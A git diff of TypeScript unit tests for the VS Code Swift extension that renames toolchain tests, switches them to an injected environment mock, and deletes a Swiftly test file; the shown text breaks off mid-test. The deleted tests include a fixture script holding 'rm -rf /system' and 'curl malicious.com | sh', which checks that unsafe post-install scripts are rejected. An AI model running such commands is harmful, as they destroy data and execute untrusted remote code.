b/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts @@ -23,7 +23,7 @@ import configuration from "@src/configuration"; import { SwiftExecution } from "@src/tasks/SwiftExecution"; import { SwiftPluginTaskProvider } from "@src/tasks/SwiftPluginTaskProvider"; import { BuildFlags } from "@src/toolchain/BuildFlags"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { Version } from "@src/utilities/version"; import { MockedObject, instance, mockFn, mockGlobalValue, mockObject } from "../../MockUtils"; diff --git a/test/unit-tests/tasks/SwiftTaskProvider.test.ts b/test/unit-tests/tasks/SwiftTaskProvider.test.ts index 1cefd5a78..707afbd81 100644 --- a/test/unit-tests/tasks/SwiftTaskProvider.test.ts +++ b/test/unit-tests/tasks/SwiftTaskProvider.test.ts @@ -29,7 +29,7 @@ import { } from "@src/tasks/SwiftTaskProvider"; import { BuildFlags } from "@src/toolchain/BuildFlags"; import { Sanitizer } from "@src/toolchain/Sanitizer"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { Version } from "@src/utilities/version"; import { diff --git a/test/unit-tests/toolchain/BuildFlags.test.ts b/test/unit-tests/toolchain/BuildFlags.test.ts index 8ec81a81c..05253a739 100644 --- a/test/unit-tests/toolchain/BuildFlags.test.ts +++ b/test/unit-tests/toolchain/BuildFlags.test.ts @@ -18,7 +18,7 @@ import * as sinon from "sinon"; import configuration from "@src/configuration"; import { SwiftLogger } from "@src/logging/SwiftLogger"; import { ArgumentFilter, BuildFlags } from "@src/toolchain/BuildFlags"; -import { DarwinCompatibleTarget, SwiftToolchain } from "@src/toolchain/toolchain"; +import { DarwinCompatibleTarget, SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import * as utilities from "@src/utilities/utilities"; import { Version } from "@src/utilities/version"; diff --git a/test/unit-tests/toolchain/toolchain.test.ts b/test/unit-tests/toolchain/SwiftToolchain.test.ts similarity index 55% rename from test/unit-tests/toolchain/toolchain.test.ts rename to test/unit-tests/toolchain/SwiftToolchain.test.ts index 2c606b630..02b3252e9 100644 --- a/test/unit-tests/toolchain/toolchain.test.ts +++ b/test/unit-tests/toolchain/SwiftToolchain.test.ts @@ -15,23 +15,36 @@ import { expect } from "chai"; import * as mockFS from "mock-fs"; import * as path from "path"; -import { Swiftly } from "@src/toolchain/swiftly"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Environment } from "@src/services/Environment"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import * as utilities from "@src/utilities/utilities"; import { Version } from "@src/utilities/version"; -import { mockGlobalModule, mockGlobalValue } from "../../MockUtils"; +import { + MockedFunction, + MockedObject, + instance, + mockFn, + mockObject, + setupSandboxForTests, +} from "../../MockUtils"; suite("SwiftToolchain Unit Test Suite", () => { - const mockedUtilities = mockGlobalModule(utilities); - const mockedPlatform = mockGlobalValue(process, "platform"); + const sandbox = setupSandboxForTests(); + let mockedExecFile: MockedFunction; + let mockedEnv: MockedObject; setup(() => { mockFS({}); - mockedUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + mockedExecFile = sandbox.stub(utilities, "execFile"); + mockedExecFile.withArgs("swiftly", ["--version"]).resolves({ stdout: "1.0.0\n", stderr: "", }); + mockedEnv = mockObject({ + platform: "darwin", + env: mockFn(s => s.returns({})), + }); }); teardown(() => { @@ -44,6 +57,7 @@ suite("SwiftToolchain Unit Test Suite", () => { toolchainPath: string; }): SwiftToolchain { return new SwiftToolchain( + instance(mockedEnv), options.swiftFolderPath, options.toolchainPath, /* targetInfo */ { @@ -64,7 +78,7 @@ suite("SwiftToolchain Unit Test Suite", () => { suite("macOS", () => { setup(() => { - mockedPlatform.setValue("darwin"); + mockedEnv.platform = "darwin"; }); test("returns the path to lldb-dap if it exists within a public toolchain", async () => { @@ -119,7 +133,7 @@ suite("SwiftToolchain Unit Test Suite", () => { }, }, }); - mockedUtilities.execFile.resolves({ + mockedExecFile.resolves({ stdout: "/Applications/Xcode.app/Contents/Developer/usr/bin/lldb-dap", stderr: "", }); @@ -146,7 +160,7 @@ suite("SwiftToolchain Unit Test Suite", () => { }, }, }); - mockedUtilities.execFile.rejects(new Error("Uh oh!")); + mockedExecFile.rejects(new Error("Uh oh!")); const sut = createSwiftToolchain({ swiftFolderPath: "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin", @@ -155,14 +169,14 @@ suite("SwiftToolchain Unit Test Suite", () => { }); await expect(sut.getLLDBDebugAdapter()).to.eventually.be.rejectedWith( - "Failed to find lldb-dap within Xcode Swift toolchain '/Applications/Xcode.app':\nUh oh!" + "Failed to find lldb-dap within Xcode Swift toolchain '/Applications/Xcode.app'" ); }); }); suite("Linux", () => { setup(() => { - mockedPlatform.setValue("linux"); + mockedEnv.platform = "linux"; }); test("returns the path to lldb-dap if it exists within the toolchain", async () => { @@ -201,7 +215,7 @@ suite("SwiftToolchain Unit Test Suite", () => { suite("Windows", () => { setup(() => { - mockedPlatform.setValue("win32"); + mockedEnv.platform = "win32"; }); test("returns the path to lldb-dap.exe if it exists within the toolchain", async () => { @@ -238,167 +252,4 @@ suite("SwiftToolchain Unit Test Suite", () => { }); }); }); - - suite("findXcodeInstalls()", () => { - test("returns the list of Xcode installations found in the Spotlight index on macOS", async () => { - mockedPlatform.setValue("darwin"); - mockedUtilities.execFile.withArgs("mdfind").resolves({ - stdout: "/Applications/Xcode.app\n/Applications/Xcode-beta.app\n", - stderr: "", - }); - mockedUtilities.execFile - .withArgs("xcode-select", ["-p"]) - .resolves({ stdout: "", stderr: "" }); - - const sortedXcodeInstalls = (await SwiftToolchain.findXcodeInstalls()).sort(); - expect(sortedXcodeInstalls).to.deep.equal([ - "/Applications/Xcode-beta.app", - "/Applications/Xcode.app", - ]); - }); - - test("includes the currently selected Xcode installation on macOS", async () => { - mockedPlatform.setValue("darwin"); - mockedUtilities.execFile.withArgs("mdfind").resolves({ - stdout: "/Applications/Xcode-beta.app\n", - stderr: "", - }); - mockedUtilities.execFile - .withArgs("xcode-select", ["-p"]) - .resolves({ stdout: "/Applications/Xcode.app\n", stderr: "" }); - - const sortedXcodeInstalls = (await SwiftToolchain.findXcodeInstalls()).sort(); - expect(sortedXcodeInstalls).to.deep.equal([ - "/Applications/Xcode-beta.app", - "/Applications/Xcode.app", - ]); - }); - - test("does not duplicate the currently selected Xcode installation on macOS", async () => { - mockedPlatform.setValue("darwin"); - mockedUtilities.execFile.withArgs("mdfind").resolves({ - stdout: "/Applications/Xcode.app\n/Applications/Xcode-beta.app\n", - stderr: "", - }); - mockedUtilities.execFile - .withArgs("xcode-select", ["-p"]) - .resolves({ stdout: "/Applications/Xcode.app\n", stderr: "" }); - - const sortedXcodeInstalls = (await SwiftToolchain.findXcodeInstalls()).sort(); - expect(sortedXcodeInstalls).to.deep.equal([ - "/Applications/Xcode-beta.app", - "/Applications/Xcode.app", - ]); - }); - - test("returns an empty array on non-macOS platforms", async () => { - mockedPlatform.setValue("linux"); - await expect(SwiftToolchain.findXcodeInstalls()).to.eventually.be.empty; - - mockedPlatform.setValue("win32"); - await expect(SwiftToolchain.findXcodeInstalls()).to.eventually.be.empty; - }); - }); - - suite("getSwiftlyToolchainInstalls()", () => { - const mockedEnv = mockGlobalValue(process, "env"); - - test("returns installed toolchains on Linux", async () => { - mockedPlatform.setValue("linux"); - const mockHomeDir = "/home/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({ - [path.join(mockHomeDir, "config.json")]: JSON.stringify({ - installedToolchains: ["swift-5.9.0", "swift-6.0.0"], - }), - }); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.deep.equal([ - path.join(mockHomeDir, "toolchains", "swift-5.9.0"), - path.join(mockHomeDir, "toolchains", "swift-6.0.0"), - ]); - }); - - test("returns installed toolchains on macOS", async () => { - mockedPlatform.setValue("darwin"); - const mockHomeDir = "/Users/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({ - [path.join(mockHomeDir, "config.json")]: JSON.stringify({ - installedToolchains: ["swift-5.9.0", "swift-6.0.0"], - }), - }); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.deep.equal([ - path.join(mockHomeDir, "toolchains", "swift-5.9.0"), - path.join(mockHomeDir, "toolchains", "swift-6.0.0"), - ]); - }); - - test("returns empty array when SWIFTLY_HOME_DIR is not set", async () => { - mockedPlatform.setValue("linux"); - mockedEnv.setValue({}); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.be.empty; - }); - - test("returns empty array when config file does not exist", async () => { - mockedPlatform.setValue("linux"); - const mockHomeDir = "/home/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({}); - - await expect(Swiftly.listAvailableToolchains()).to.be.rejected.then(error => { - expect(error.message).to.include( - "Failed to retrieve Swiftly installations from disk" - ); - }); - }); - - test("returns empty array when config has no installedToolchains", async () => { - mockedPlatform.setValue("linux"); - const mockHomeDir = "/home/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({ - [path.join(mockHomeDir, "config.json")]: JSON.stringify({ - someOtherProperty: "value", - }), - }); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.be.empty; - }); - - test("returns empty array on Windows", async () => { - mockedPlatform.setValue("win32"); - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.be.empty; - }); - - test("filters out non-string toolchain entries", async () => { - mockedPlatform.setValue("linux"); - const mockHomeDir = "/home/user/.swiftly"; - mockedEnv.setValue({ SWIFTLY_HOME_DIR: mockHomeDir }); - - mockFS({ - [path.join(mockHomeDir, "config.json")]: JSON.stringify({ - installedToolchains: ["swift-5.9.0", null, "swift-6.0.0", 123, "swift-6.1.0"], - }), - }); - - const toolchains = await Swiftly.listAvailableToolchains(); - expect(toolchains).to.deep.equal([ - path.join(mockHomeDir, "toolchains", "swift-5.9.0"), - path.join(mockHomeDir, "toolchains", "swift-6.0.0"), - path.join(mockHomeDir, "toolchains", "swift-6.1.0"), - ]); - }); - }); }); diff --git a/test/unit-tests/toolchain/ToolchainService.test.ts b/test/unit-tests/toolchain/ToolchainService.test.ts new file mode 100644 index 000000000..9394b42e0 --- /dev/null +++ b/test/unit-tests/toolchain/ToolchainService.test.ts @@ -0,0 +1,74 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +// suite("findXcodeInstalls()", () => { +// test("returns the list of Xcode installations found in the Spotlight index on macOS", async () => { +// mockedEnv.platform = "darwin"; +// mockedUtilities.execFile.withArgs("mdfind").resolves({ +// stdout: "/Applications/Xcode.app\n/Applications/Xcode-beta.app\n", +// stderr: "", +// }); +// mockedUtilities.execFile +// .withArgs("xcode-select", ["-p"]) +// .resolves({ stdout: "", stderr: "" }); + +// const sortedXcodeInstalls = (await mockedtool.findXcodeInstalls()).sort(); +// expect(sortedXcodeInstalls).to.deep.equal([ +// "/Applications/Xcode-beta.app", +// "/Applications/Xcode.app", +// ]); +// }); + +// test("includes the currently selected Xcode installation on macOS", async () => { +// mockedPlatform.setValue("darwin"); +// mockedUtilities.execFile.withArgs("mdfind").resolves({ +// stdout: "/Applications/Xcode-beta.app\n", +// stderr: "", +// }); +// mockedUtilities.execFile +// .withArgs("xcode-select", ["-p"]) +// .resolves({ stdout: "/Applications/Xcode.app\n", stderr: "" }); + +// const sortedXcodeInstalls = (await SwiftToolchain.findXcodeInstalls()).sort(); +// expect(sortedXcodeInstalls).to.deep.equal([ +// "/Applications/Xcode-beta.app", +// "/Applications/Xcode.app", +// ]); +// }); + +// test("does not duplicate the currently selected Xcode installation on macOS", async () => { +// mockedPlatform.setValue("darwin"); +// mockedUtilities.execFile.withArgs("mdfind").resolves({ +// stdout: "/Applications/Xcode.app\n/Applications/Xcode-beta.app\n", +// stderr: "", +// }); +// mockedUtilities.execFile +// .withArgs("xcode-select", ["-p"]) +// .resolves({ stdout: "/Applications/Xcode.app\n", stderr: "" }); + +// const sortedXcodeInstalls = (await SwiftToolchain.findXcodeInstalls()).sort(); +// expect(sortedXcodeInstalls).to.deep.equal([ +// "/Applications/Xcode-beta.app", +// "/Applications/Xcode.app", +// ]); +// }); + +// test("returns an empty array on non-macOS platforms", async () => { +// mockedPlatform.setValue("linux"); +// await expect(SwiftToolchain.findXcodeInstalls()).to.eventually.be.empty; + +// mockedPlatform.setValue("win32"); +// await expect(SwiftToolchain.findXcodeInstalls()).to.eventually.be.empty; +// }); +// }); diff --git a/test/unit-tests/toolchain/swiftly.test.ts b/test/unit-tests/toolchain/swiftly.test.ts deleted file mode 100644 index 942742114..000000000 --- a/test/unit-tests/toolchain/swiftly.test.ts +++ /dev/null @@ -1,843 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VS Code Swift open source project -// -// Copyright (c) 2025 the VS Code Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VS Code Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// -import { expect } from "chai"; -import * as fs from "fs/promises"; -import * as mockFS from "mock-fs"; -import * as os from "os"; -import { match } from "sinon"; -import * as vscode from "vscode"; - -import * as SwiftOutputChannelModule from "@src/logging/SwiftOutputChannel"; -import { Swiftly } from "@src/toolchain/swiftly"; -import * as utilities from "@src/utilities/utilities"; - -import { mockGlobalModule, mockGlobalObject, mockGlobalValue } from "../../MockUtils"; - -suite("Swiftly Unit Tests", () => { - const mockUtilities = mockGlobalModule(utilities); - const mockedPlatform = mockGlobalValue(process, "platform"); - const mockedEnv = mockGlobalValue(process, "env"); - const mockSwiftOutputChannelModule = mockGlobalModule(SwiftOutputChannelModule); - const mockOS = mockGlobalModule(os); - - setup(() => { - mockUtilities.execFile.reset(); - mockUtilities.execFileStreamOutput.reset(); - mockSwiftOutputChannelModule.SwiftOutputChannel.reset(); - mockOS.tmpdir.reset(); - - // Mock os.tmpdir() to return a valid temp directory path for Windows compatibility - mockOS.tmpdir.returns(process.platform === "win32" ? "C:\\temp" : "/tmp"); - - // Mock SwiftOutputChannel constructor to return a basic mock - mockSwiftOutputChannelModule.SwiftOutputChannel.callsFake( - () => - ({ - show: () => {}, - appendLine: () => {}, - append: () => {}, - }) as any - ); - - mockedPlatform.setValue("darwin"); - mockedEnv.setValue({}); - }); - - teardown(() => { - try { - mockFS.restore(); - } catch { - // Ignore if mockFS is not active - } - }); - - suite("getSwiftlyToolchainInstalls", () => { - test("should return toolchain names from list-available command for version 1.1.0", async () => { - // Mock version check to return 1.1.0 - mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ - stdout: "1.1.0\n", - stderr: "", - }); - - // Mock list-available command with JSON output - const jsonOutput = { - toolchains: [ - { - inUse: true, - isDefault: true, - version: { - major: 5, - minor: 9, - patch: 0, - name: "swift-5.9.0-RELEASE", - type: "stable", - }, - }, - { - inUse: false, - isDefault: false, - version: { - major: 5, - minor: 8, - patch: 0, - name: "swift-5.8.0-RELEASE", - type: "stable", - }, - }, - { - inUse: false, - isDefault: false, - version: { - major: 5, - minor: 10, - branch: "development", - date: "2023-10-15", - name: "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", - type: "snapshot", - }, - }, - ], - }; - - mockUtilities.execFile.withArgs("swiftly", ["list", "--format=json"]).resolves({ - stdout: JSON.stringify(jsonOutput), - stderr: "", - }); - - const result = await Swiftly.listAvailableToolchains(); - - expect(result).to.deep.equal([ - "swift-5.9.0-RELEASE", - "swift-5.8.0-RELEASE", - "swift-DEVELOPMENT-SNAPSHOT-2023-10-15-a", - ]); - - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ - "list", - "--format=json", - ]); - }); - - test("should return empty array when platform is not supported", async () => { - mockedPlatform.setValue("win32"); - - const result = await Swiftly.listAvailableToolchains(); - - expect(result).to.deep.equal([]); - expect(mockUtilities.execFile).not.have.been.called; - }); - }); - - suite("installToolchain", () => { - test("should throw error on unsupported platform", async () => { - mockedPlatform.setValue("win32"); - - await expect( - Swiftly.installToolchain("6.0.0", undefined) - ).to.eventually.be.rejectedWith("Swiftly is not supported on this platform"); - expect(mockUtilities.execFile).to.not.have.been.called; - }); - - test("should install toolchain successfully on macOS without progress callback", async () => { - mockedPlatform.setValue("darwin"); - mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); - - const tmpDir = os.tmpdir(); - mockFS.restore(); - mockFS({ - [tmpDir]: {}, - }); - - await Swiftly.installToolchain("6.0.0", undefined); - - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ - "install", - "6.0.0", - "--use", - "--assume-yes", - "--post-install-file", - match.string, - ]); - }); - - test("should attempt to install toolchain with progress callback on macOS", async () => { - mockedPlatform.setValue("darwin"); - const progressCallback = () => {}; - - mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); - mockUtilities.execFile.withArgs("swiftly", match.array).resolves({ - stdout: "", - stderr: "", - }); - os.tmpdir(); - mockFS.restore(); - mockFS({}); - - // This test verifies the method starts the installation process - // The actual file stream handling is complex to mock properly - try { - await Swiftly.installToolchain("6.0.0", progressCallback); - } catch (error) { - // Expected due to mock-fs limitations with named pipes - expect((error as Error).message).to.include("ENOENT"); - } - - expect(mockUtilities.execFile).to.have.been.calledWith("mkfifo", match.array); - }); - - test("should handle installation error properly", async () => { - mockedPlatform.setValue("darwin"); - const installError = new Error("Installation failed"); - mockUtilities.execFile.withArgs("swiftly").rejects(installError); - - const tmpDir = os.tmpdir(); - mockFS.restore(); - mockFS({ - [tmpDir]: {}, - }); - - await expect( - Swiftly.installToolchain("6.0.0", undefined) - ).to.eventually.be.rejectedWith("Installation failed"); - }); - }); - - suite("listAvailable", () => { - test("should return empty array on unsupported platform", async () => { - mockedPlatform.setValue("win32"); - - const result = await Swiftly.listAvailable(); - - expect(result).to.deep.equal([]); - }); - - test("should return empty array when Swiftly is not installed", async () => { - mockedPlatform.setValue("darwin"); - mockUtilities.execFile - .withArgs("swiftly", ["--version"]) - .rejects(new Error("Command not found")); - - const result = await Swiftly.listAvailable(); - - expect(result).to.deep.equal([]); - }); - - test("should return empty array when Swiftly version doesn't support JSON output", async () => { - mockedPlatform.setValue("darwin"); - mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ - stdout: "1.0.0\n", - stderr: "", - }); - - const result = await Swiftly.listAvailable(); - - expect(result).to.deep.equal([]); - }); - - test("should return available toolchains with installation status", async () => { - mockedPlatform.setValue("darwin"); - - mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ - stdout: "1.1.0\n", - stderr: "", - }); - - const availableResponse = { - toolchains: [ - { - inUse: false, - installed: false, - isDefault: false, - version: { - type: "stable", - major: 6, - minor: 0, - patch: 0, - name: "6.0.0", - }, - }, - { - inUse: false, - installed: false, - isDefault: false, - version: { - type: "snapshot", - major: 6, - minor: 1, - branch: "main", - date: "2025-01-15", - name: "main-snapshot-2025-01-15", - }, - }, - ], - }; - - mockUtilities.execFile - .withArgs("swiftly", ["list-available", "--format=json"]) - .resolves({ - stdout: JSON.stringify(availableResponse), - stderr: "", - }); - - const installedResponse = { - toolchains: [ - { - inUse: true, - isDefault: true, - version: { - type: "stable", - major: 6, - minor: 0, - patch: 0, - name: "6.0.0", - }, - }, - ], - }; - - mockUtilities.execFile.withArgs("swiftly", ["list", "--format=json"]).resolves({ - stdout: JSON.stringify(installedResponse), - stderr: "", - }); - - const result = await Swiftly.listAvailable(); - expect(result).to.deep.equal([ - { - inUse: false, - installed: false, - isDefault: false, - version: { - type: "stable", - major: 6, - minor: 0, - patch: 0, - name: "6.0.0", - }, - }, - { - inUse: false, - installed: false, - isDefault: false, - version: { - type: "snapshot", - major: 6, - minor: 1, - branch: "main", - date: "2025-01-15", - name: "main-snapshot-2025-01-15", - }, - }, - ]); - }); - - test("should handle errors when fetching available toolchains", async () => { - mockedPlatform.setValue("darwin"); - mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ - stdout: "1.1.0\n", - stderr: "", - }); - mockUtilities.execFile - .withArgs("swiftly", ["list-available", "--format=json"]) - .rejects(new Error("Network error")); - const result = await Swiftly.listAvailable(); - expect(result).to.deep.equal([]); - }); - - test("should handle snapshot toolchains without major/minor fields", async () => { - mockedPlatform.setValue("darwin"); - - mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ - stdout: "1.1.0\n", - stderr: "", - }); - - const snapshotResponse = { - toolchains: [ - { - inUse: false, - installed: false, - isDefault: false, - version: { - type: "snapshot", - branch: "main", - date: "2025-08-26", - name: "main-snapshot-2025-08-26", - }, - }, - { - inUse: false, - installed: true, - isDefault: false, - version: { - type: "snapshot", - branch: "main", - date: "2025-08-25", - name: "main-snapshot-2025-08-25", - }, - }, - ], - }; - - mockUtilities.execFile - .withArgs("swiftly", ["list-available", "--format=json", "main-snapshot"]) - .resolves({ - stdout: JSON.stringify(snapshotResponse), - stderr: "", - }); - - const result = await Swiftly.listAvailable(undefined, "main-snapshot"); - expect(result).to.deep.equal([ - { - inUse: false, - installed: false, - isDefault: false, - version: { - type: "snapshot", - branch: "main", - date: "2025-08-26", - name: "main-snapshot-2025-08-26", - }, - }, - { - inUse: false, - installed: true, - isDefault: false, - version: { - type: "snapshot", - branch: "main", - date: "2025-08-25", - name: "main-snapshot-2025-08-25", - }, - }, - ]); - }); - }); - - suite("Post-Install", () => { - setup(() => { - mockedPlatform.setValue("linux"); - }); - - test("should call installToolchain with correct parameters", async () => { - mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); - mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); - - await Swiftly.installToolchain("6.0.0"); - - // Verify swiftly install was called with post-install file argument - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ - "install", - "6.0.0", - "--use", - "--assume-yes", - "--post-install-file", - match.string, - ]); - }); - - test("should handle swiftly installation errors", async () => { - const installError = new Error("Swiftly installation failed"); - mockUtilities.execFile.withArgs("swiftly").rejects(installError); - mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); - - await expect(Swiftly.installToolchain("6.0.0")).to.eventually.be.rejectedWith( - "Swiftly installation failed" - ); - }); - - test("should handle mkfifo creation errors", async () => { - const mkfifoError = new Error("Cannot create named pipe"); - mockUtilities.execFile.withArgs("mkfifo").rejects(mkfifoError); - - const progressCallback = () => {}; - - await expect( - Swiftly.installToolchain("6.0.0", progressCallback) - ).to.eventually.be.rejectedWith("Cannot create named pipe"); - }); - - test("should install without progress callback successfully", async () => { - mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); - - await Swiftly.installToolchain("6.0.0"); - - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); - // mkfifo should not be called when no progress callback is provided - expect(mockUtilities.execFile).to.not.have.been.calledWith("mkfifo", match.array); - }); - - test("should create progress pipe when progress callback is provided", async () => { - mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); - mockUtilities.execFile.withArgs("mkfifo").resolves({ stdout: "", stderr: "" }); - - const progressCallback = () => {}; - - try { - await Swiftly.installToolchain("6.0.0", progressCallback); - } catch (error) { - // Expected due to mock-fs limitations with named pipes in this test environment - } - - expect(mockUtilities.execFile).to.have.been.calledWith("mkfifo", match.array); - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); - }); - }); - - suite("Post-Install File Handling", () => { - const mockVscodeWindow = mockGlobalObject(vscode, "window"); - - setup(() => { - mockedPlatform.setValue("linux"); - mockVscodeWindow.showWarningMessage.reset(); - mockVscodeWindow.showInformationMessage.reset(); - mockVscodeWindow.showErrorMessage.reset(); - mockVscodeWindow.createOutputChannel.reset(); - - // Mock createOutputChannel to return a basic output channel mock - mockVscodeWindow.createOutputChannel.returns({ - show: () => {}, - appendLine: () => {}, - append: () => {}, - hide: () => {}, - dispose: () => {}, - name: "test-channel", - replace: () => {}, - clear: () => {}, - } as any); - }); - - test("should execute post-install script when user confirms and script is valid", async () => { - const validScript = `#!/bin/bash -apt-get -y install build-essential -apt-get -y install libncurses5-dev`; - - mockUtilities.execFile - .withArgs("swiftly", [ - "install", - "6.0.0", - "--use", - "--assume-yes", - "--post-install-file", - match.string, - ]) - .callsFake(async (_command, args) => { - const postInstallPath = args[5]; - await fs.writeFile(postInstallPath, validScript); - return { stdout: "", stderr: "" }; - }); - mockUtilities.execFile - .withArgs("chmod", match.array) - .resolves({ stdout: "", stderr: "" }); - - // Mock execFileStreamOutput for pkexec - mockUtilities.execFileStreamOutput.resolves(); - - // @ts-expect-error mocking vscode window methods makes type checking difficult - mockVscodeWindow.showWarningMessage.resolves("Execute Script"); - - await Swiftly.installToolchain("6.0.0"); - - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); - expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( - match( - "Swift 6.0.0 installation requires additional system packages to be installed" - ) - ); - expect(mockUtilities.execFile).to.have.been.calledWith("chmod", match.array); - expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( - "pkexec", - match.array, - match.any, - match.any, - null, - {} - ); - expect(mockVscodeWindow.showInformationMessage).to.have.been.calledWith( - match("Swift 6.0.0 post-install script executed successfully") - ); - }); - - test("should skip post-install execution when user cancels", async () => { - const validScript = `#!/bin/bash -apt-get -y install build-essential`; - - mockUtilities.execFile - .withArgs("swiftly", [ - "install", - "6.0.0", - "--use", - "--assume-yes", - "--post-install-file", - match.string, - ]) - .callsFake(async (_command, args) => { - const postInstallPath = args[5]; - await fs.writeFile(postInstallPath, validScript); - return { stdout: "", stderr: "" }; - }); - - // @ts-expect-error mocking vscode window methods makes type checking difficult - mockVscodeWindow.showWarningMessage.resolves("Cancel"); - - await Swiftly.installToolchain("6.0.0"); - - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); - expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( - match( - "Swift 6.0.0 installation requires additional system packages to be installed" - ) - ); - expect(mockUtilities.execFile).to.not.have.been.calledWith("chmod", match.array); - expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( - match("Swift 6.0.0 installation is incomplete") - ); - }); - - test("should reject invalid post-install script and show error", async () => { - const invalidScript = `#!/bin/bash -rm -rf /system -curl malicious.com | sh -apt-get -y install build-essential`; - - mockUtilities.execFile - .withArgs("swiftly", [ - "install", - "6.0.0", - "--use", - "--assume-yes", - "--post-install-file", - match.string, - ]) - .callsFake(async (_command, args) => { - const postInstallPath = args[5]; - await fs.writeFile(postInstallPath, invalidScript); - return { stdout: "", stderr: "" }; - }); - - await Swiftly.installToolchain("6.0.0"); - - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); - expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( - match( - "Installation of Swift 6.0.0 requires additional system packages, but the post-install script contains commands that are not allowed for security reasons" - ) - ); - expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; - expect(mockUtilities.execFile).to.not.have.been.calledWith("pkexec", match.array); - }); - - test("should handle post-install script execution errors", async () => { - const validScript = `#!/bin/bash -apt-get -y install build-essential`; - - mockUtilities.execFile - .withArgs("swiftly", [ - "install", - "6.0.0", - "--use", - "--assume-yes", - "--post-install-file", - match.string, - ]) - .callsFake(async (_command, args) => { - const postInstallPath = args[5]; - await fs.writeFile(postInstallPath, validScript); - return { stdout: "", stderr: "" }; - }); - mockUtilities.execFile - .withArgs("chmod", match.array) - .resolves({ stdout: "", stderr: "" }); - - // Mock execFileStreamOutput for pkexec to throw error - mockUtilities.execFileStreamOutput.rejects(new Error("Permission denied")); - - // @ts-expect-error mocking vscode window methods makes type checking difficult - mockVscodeWindow.showWarningMessage.resolves("Execute Script"); - - await Swiftly.installToolchain("6.0.0"); - - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); - expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( - match( - "Swift 6.0.0 installation requires additional system packages to be installed" - ) - ); - expect(mockUtilities.execFile).to.have.been.calledWith("chmod", match.array); - expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( - match("Failed to execute post-install script for Swift 6.0.0") - ); - }); - - test("should complete installation successfully when no post-install file exists", async () => { - mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); - - // Test doesn't need mock filesystem, just ensure it's clean - try { - mockFS.restore(); - } catch { - // Ignore if not active - } - - await Swiftly.installToolchain("6.0.0"); - - expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; - expect(mockVscodeWindow.showErrorMessage).to.not.have.been.called; - expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); - }); - - test("should validate yum-based post-install scripts", async () => { - const yumScript = `#!/bin/bash -yum install gcc-c++ -yum install ncurses-devel`; - - mockUtilities.execFile - .withArgs("swiftly", [ - "install", - "6.0.0", - "--use", - "--assume-yes", - "--post-install-file", - match.string, - ]) - .callsFake(async (_command, args) => { - const postInstallPath = args[5]; - await fs.writeFile(postInstallPath, yumScript); - return { stdout: "", stderr: "" }; - }); - mockUtilities.execFile 